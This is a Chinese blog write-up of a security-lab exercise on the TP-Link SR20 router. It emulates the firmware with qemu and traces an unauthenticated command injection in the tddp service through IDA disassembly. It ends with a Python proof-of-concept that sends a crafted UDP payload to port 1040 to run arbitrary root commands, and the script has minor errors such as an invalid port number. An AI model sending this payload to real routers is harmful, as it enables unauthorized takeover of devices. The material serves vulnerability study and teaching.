• 我们在哪一颗星上见过 ,以至如此相互思念 ;我们在哪一颗星上相互思念过,以至如此相互深爱
  • 我们在哪一颗星上分别 ,以至如此相互辉映 ;我们在哪一颗星上入睡 ,以至如此唤醒黎明
  • 认识世界 克服困难 洞悉所有 贴近生活 寻找珍爱 感受彼此

合天网安实验室:TP-Link sr20远程命令执行漏洞

路由器 云涯 4年前 (2020-10-13) 2294次浏览

1 概述

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

通过本次实验学习使用qemu模拟路由器环境,分析并复现某型号路由器远程命令执行漏洞。

TP-Link SR20智能家居路由器中的远程命令执行

该漏洞的存在是由于在处理TFPT请求时对用户提供的输入进行了不正确的过滤以及缺少身份验证。远程未经身份验证的攻击者可以发送特制的TFPT请求以上传文件,并发送OS命令以在受影响的设备上以root特权执行任意命令。

2 实验

2.1 基本复现

官网下载固件,解压并用binwalk提取

images

在提取出来的squashfs-root文件夹里,寻找tddp文件,查看类型是arm架构小端elf文件。

images

所以接下来模拟时需要用到qemu-system-arm,以及qemu需要的debianarm系统的三个文件。

images

首先配置qemu所需网络环境

images

启动qmeu

qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append “root=/dev/mmcblk0p2 console=ttyAMA0” -net nic -net tap,ifname=tap1,script=no,downscript=no -nographicimages

之后就是一系列动态加载,然后使用root/root进行登录,查看IP,没有分配地址,手动分配。

images

之后再回到原系统,利用scp将文件传到debian(新建虚拟系统)

scp   -r   /root/Desktop/router/tplinksr20/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root   root@10.10.20.2:/root/

images

使用chroot切换根目录固件文件系统

这里注意,使用 chroot后,系统读取的是新根下的目录和文件,也就是固件的目录和文件。

chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要现挂载这两个目录。

三条命令如下所示

mount -o bind /dev ./squashfs-root/dev/

mount -t proc /proc/ ./squashfs-root/proc/

chroot ./squashfs-root/ sh

images

输入tddp即可启动

images

在原系统使用nmap扫描,第一条语句无法扫出1040,第二条语句即可,这时就可以确认tddp启动了。

images

在原机器上运行POC,在debian上就可以看到执行结果

images

使用nc监控,将结果返回到本地

images

2.2 实验原理

使用ida打开tddp,在import中找寻关于“执行”有关的函数,发现 “execve”,查看其调用,发现是在sub_91DC中

如果能控制传入的参数argv,就能实现命令执行。

images

查看sub_91DC的引用,经过大脑思考(别问为什么,我特么也不懂),sub_A580引用了sub_91DC,并且可能被利用。

这里面有一个sscanf函数,

sscanf原型为:

int sscanf(const char *buffer,  const char*format,  [argument ]…);

buffer存储的数据

format格式控制字符串

argument 选择性设定字符串

sscanf会从buffer里读进数据,依照format的格式将数据写入到argument里。

可以说,参数s是由上面的sscanf经过处理赋值的。并且过滤了分号。但是没有过滤“|”和“&”。

images

对应着代码,向上回溯,看看上图V20是 V9+45083,也就是V9的45083位。在第22行看到V9是a1赋值的,也即是传递的参数。

images

再看sub_a580的引用,到了sub_15e74,发现其V8参数,也是a1,再次查看引用到达sub_16418。

images

images

在sub_16418中,V14也是参数,也是a1,上个函数传递过来的。这里有个recvfrom()函数。

原型如下

ssize_t recvfrom(int sockfd,  void *buf,  size_t len,  unsigned int flags,   struct sockaddr *from,  socket_t *fromlen);

recvfrom()用来接收远程主机经指定的socket传来的数据, 并把数据传到由参数buf指向的内存空间,

参数len为可接收数据的最大长度.

参数flags一般设0, 其他数值定义参考recv().

参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.

参数fromlen为sockaddr的结构长度。

由此可知,recvfrom函数的v14+45083就是buf,用于接收socket传递来的数据。那么就定位到源头了,既然是从socket接收的,那么就是可控的。

 

images 

images

再回头看看sub_15e74,当case 0x31时,就调用sub_a580

images

那么就要保证swich(a1 + 45084)这块是0x31,也即是在sub_15e74中a1参数的45084位是0x31。

images

而sub_15e74中的a1, 也是a8。也是传递给sub_a580的参数。

images

images

再看sub_a580,v9也就是sub_a580的a1。

images

V14是在a1(输入参数)的45083位,而且v14要为1

因此45083位,45084位是0x1, 0x31

上图,紧接着,V20会移动12位,因此中间必须填充。

payload = ‘0x01\x031’.ljust(12, ‘0x00’)

然后再加上需要注入的代码

payload += “123|%s&&echo ;123″%(command)

payload中需要注意分号;之后还需要填充字符,因为在使用sscanf函数进行分割后会判断分号后面的内容是否为空

 

POC如下所示:

from pwn import *
from socket import *
import sys

tddp_port = 1040
recv_port = 12345
ip = sys.argv[1]
command = sys.argv[2]

s_send = socket(AF_INET, SOCK_DGRAM, 0)
s_recv = socket(AF_INET, SOCK_DGRAM, 0)
s_recv.bind(('', 123456))

payload = '\x01\x31'.ljust(12,'\x00')
payload += "123|%s&&echo ;123"%(command)
s_send.sendto(payload, (ip,tddp_port))
s_send.close()

res,addr = s_recv.recvfrom(1024)
print res

 


云涯历险记 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:合天网安实验室:TP-Link sr20远程命令执行漏洞
喜欢 (0)